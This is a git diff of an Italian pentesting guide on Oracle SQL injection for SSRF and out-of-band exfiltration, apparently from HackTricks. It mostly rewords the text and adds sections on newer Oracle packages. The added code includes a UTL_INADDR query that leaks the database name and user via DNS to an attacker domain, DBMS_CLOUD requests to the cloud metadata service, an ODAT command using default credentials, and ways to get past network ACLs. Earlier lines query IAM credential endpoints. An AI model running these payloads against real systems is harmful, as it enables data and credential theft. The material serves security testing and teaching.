diff --git a/src/pentesting-web/sql-injection/oracle-injection.md b/src/pentesting-web/sql-injection/oracle-injection.md index b28bdb4cc..4d3260b53 100644 --- a/src/pentesting-web/sql-injection/oracle-injection.md +++ b/src/pentesting-web/sql-injection/oracle-injection.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -**Serve questo post una copia della macchina del tempo del post eliminato da [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**. +**Servire questo post una copia della macchina del tempo del post eliminato da [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**. ## SSRF Utilizzare Oracle per effettuare richieste HTTP e DNS Out of Band è ben documentato, ma come mezzo per esfiltrare dati SQL nelle iniezioni. Possiamo sempre modificare queste tecniche/funzioni per fare altre SSRF/XSPA. -Installare Oracle può essere davvero doloroso, specialmente se vuoi impostare un'istanza rapida per provare comandi. Il mio amico e collega di [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), mi ha indicato [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) che mi ha permesso di impostare un'istanza su una macchina AWS Ubuntu t2.large e Docker. +Installare Oracle può essere davvero doloroso, specialmente se si desidera impostare un'istanza rapida per provare comandi. Il mio amico e collega di [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), mi ha indicato [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) che mi ha permesso di configurare un'istanza su una macchina AWS Ubuntu t2.large e Docker. -Ho eseguito il comando docker con il flag `--network="host"` in modo da poter mimare Oracle come un'installazione nativa con accesso completo alla rete, per la durata di questo blogpost. +Ho eseguito il comando docker con il flag `--network="host"` in modo da poter imitare Oracle come un'installazione nativa con accesso completo alla rete, per il corso di questo blogpost. ``` docker run -d --network="host" quay.io/maksymbilenko/oracle-12c ``` @@ -82,7 +82,7 @@ Un `ORA-29276: transfer timeout` indica che la porta è aperta ma non è stata s **UTL_TCP** -Il pacchetto `UTL_TCP` e le sue procedure e funzioni consentono la [comunicazione basata su TCP/IP con i servizi](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programmato per un servizio specifico, questo pacchetto può facilmente diventare un modo per accedere alla rete o eseguire richieste complete lato server, poiché tutti gli aspetti di una connessione TCP/IP possono essere controllati. +Il pacchetto `UTL_TCP` e le sue procedure e funzioni consentono [comunicazioni basate su TCP/IP con i servizi](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programmato per un servizio specifico, questo pacchetto può facilmente diventare un modo per accedere alla rete o eseguire richieste complete lato server, poiché tutti gli aspetti di una connessione TCP/IP possono essere controllati. L'esempio [sul sito della documentazione Oracle mostra come puoi utilizzare questo pacchetto per stabilire una connessione TCP raw per recuperare una pagina web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Possiamo semplificarlo ulteriormente e usarlo per effettuare richieste all'istanza dei metadati, ad esempio, o a un servizio TCP/IP arbitrario. ``` @@ -124,11 +124,11 @@ END; utl_tcp.close_connection(c); END; ``` -Interessantemente, grazie alla capacità di creare richieste TCP raw, questo pacchetto può essere utilizzato anche per interrogare il servizio di meta-dati dell'istanza di tutti i fornitori di cloud poiché il tipo di metodo e gli header aggiuntivi possono essere tutti passati all'interno della richiesta TCP. +Interessantemente, grazie alla capacità di creare richieste TCP raw, questo pacchetto può essere utilizzato anche per interrogare il servizio di meta-dati dell'istanza di tutti i fornitori di cloud poiché il tipo di metodo e le intestazioni aggiuntive possono essere tutte passate all'interno della richiesta TCP. **UTL_HTTP e Richieste Web** -Forse la tecnica più comune e ampiamente documentata in ogni tutorial di Oracle SQL Injection Out of Band è il [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Questo pacchetto è definito dalla documentazione come - `Il pacchetto UTL_HTTP effettua chiamate al Protocollo di Trasferimento Ipertestuale (HTTP) da SQL e PL/SQL. Puoi usarlo per accedere ai dati su Internet tramite HTTP.` +Forse la tecnica più comune e ampiamente documentata in ogni tutorial di Out of Band Oracle SQL Injection è il [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Questo pacchetto è definito dalla documentazione come - `Il pacchetto UTL_HTTP effettua chiamate Hypertext Transfer Protocol (HTTP) da SQL e PL/SQL. Puoi usarlo per accedere ai dati su Internet tramite HTTP.` ``` select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual; ``` @@ -140,6 +140,89 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; ``` Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` è un segno che la porta TCP è chiusa, mentre un `ORA-29263: HTTP protocol error` o dati sono un segno che la porta è aperta. -Un altro pacchetto che ho utilizzato in passato con successo variabile è il [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) che consente di interagire con un URL e fornisce supporto per il protocollo HTTP. Il metodo `GETCLOB()` viene utilizzato per recuperare la risposta GET da un URL come un [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual; +Un altro pacchetto che ho utilizzato in passato con successo variabile è il [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) che consente di interagire con un URL e fornisce supporto per il protocollo HTTP. Il metodo `GETCLOB()` viene utilizzato per recuperare la risposta GET da un URL come un [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) +``` +SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual; +``` +--- + +## Pacchetti e Tecniche Aggiuntive (Oracle 19c → 23c) + +### UTL_INADDR – esfiltrazione basata su DNS e scoperta di host + +`UTL_INADDR` espone semplici helper per la risoluzione dei nomi che attivano una ricerca DNS in uscita dall'host del database. Poiché è richiesto solo un dominio (non è necessario alcun porto/ACL), è un primitivo affidabile per l'esfiltrazione cieca quando altre chiamate di rete sono bloccate. +```sql +-- Leak the DB name and current user via a DNS query handled by Burp Collaborator +SELECT UTL_INADDR.get_host_address( +(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)|| +'.attacker.oob.server') FROM dual; +``` +`get_host_address()` restituisce l'IP risolto (o solleva `ORA-29257` se la risoluzione fallisce). L'attaccante deve solo monitorare la richiesta DNS in arrivo sul dominio controllato per confermare l'esecuzione del codice. + +### DBMS_CLOUD.SEND_REQUEST – client HTTP completo su Autonomous/23c + +Le recenti edizioni centrate sul cloud (Autonomous Database, 21c/23c, 23ai) vengono fornite con `DBMS_CLOUD`. La funzione `SEND_REQUEST` funge da client HTTP di uso generale che supporta verbi, intestazioni, TLS e corpi di grandi dimensioni personalizzati, rendendola molto più potente rispetto al classico `UTL_HTTP`. +```sql +-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges +BEGIN +-- empty credential when no auth is required +DBMS_CLOUD.create_credential( +credential_name => 'NOAUTH', +username => 'ignored', +password => 'ignored'); +END; +/ + +DECLARE +resp DBMS_CLOUD_TYPES.resp; +BEGIN +resp := DBMS_CLOUD.send_request( +credential_name => 'NOAUTH', +uri => 'http://169.254.169.254/latest/meta-data/', +method => 'GET', +timeout => 3); +dbms_output.put_line(DBMS_CLOUD.get_response_text(resp)); +END; +/ +``` +Perché `SEND_REQUEST` consente URI di destinazione arbitrari, può essere abusato tramite SQLi per: +1. Scansione delle porte interne / SSRF ai servizi di metadati cloud. +2. Esfiltrazione out-of-band su HTTPS (usa Burp Collaborator o un tunnel `ngrok`). +3. Callback ai server dell'attaccante anche quando i pacchetti di chiamata più vecchi sono disabilitati dalle ACL. + +ℹ️ Se hai solo un classico on-prem 19c ma puoi creare procedure memorizzate Java, a volte puoi installare `DBMS_CLOUD` dal pacchetto client OCI — utile in alcuni incarichi. + +### Automatizzare la superficie di attacco con **ODAT** + +[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) ha tenuto il passo con le versioni moderne (testato fino a 19c, 5.1.1 – Apr-2022). I moduli `–utl_http`, `–utl_tcp`, `–httpuritype` e il più recente `–dbms_cloud` automaticamente: +* Rilevano pacchetti di chiamata/assegnazioni ACL utilizzabili. +* Attivano callback DNS & HTTP per estrazione cieca. +* Generano payload SQL pronti da copiare per Burp/SQLMap. + +Esempio: controllo OOB rapido con credenziali predefinite (si occupa dell'enumerazione delle ACL in background): +```bash +odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob +``` +### Recent network ACL restrictions & bypasses + +Oracle ha inasprito le ACL di rete predefinite nel CPU di luglio 2023 — gli account non privilegiati ora ricevono `ORA-24247: network access denied by access control list` per impostazione predefinita. Due schemi consentono ancora le chiamate tramite SQLi: +1. L'account target possiede un'entrata ACL (`DBMS_NETWORK_ACL_ADMIN.create_acl`) che è stata aggiunta da uno sviluppatore per integrazioni. +2. L'attaccante sfrutta una routine con diritti di definizione PL/SQL ad alta privilegio (ad es. in un'applicazione personalizzata) che *ha già* `AUTHID DEFINER` e le autorizzazioni necessarie. + +Se incontri `ORA-24247` durante lo sfruttamento, cerca sempre procedure riutilizzabili: +```sql +SELECT owner, object_name +FROM dba_objects +WHERE object_type = 'PROCEDURE' +AND authid = 'DEFINER'; +``` +(in molte audit almeno una procedura di reporting/esportazione aveva i diritti necessari). + +--- + +## Riferimenti + +* Oracle Docs – descrizione e esempi del pacchetto `DBMS_CLOUD.SEND_REQUEST`. +* quentinhardy/odat – Strumento di attacco per Oracle Database (ultima versione 5.1.1, Apr-2022). {{#include ../../banners/hacktricks-training.md}}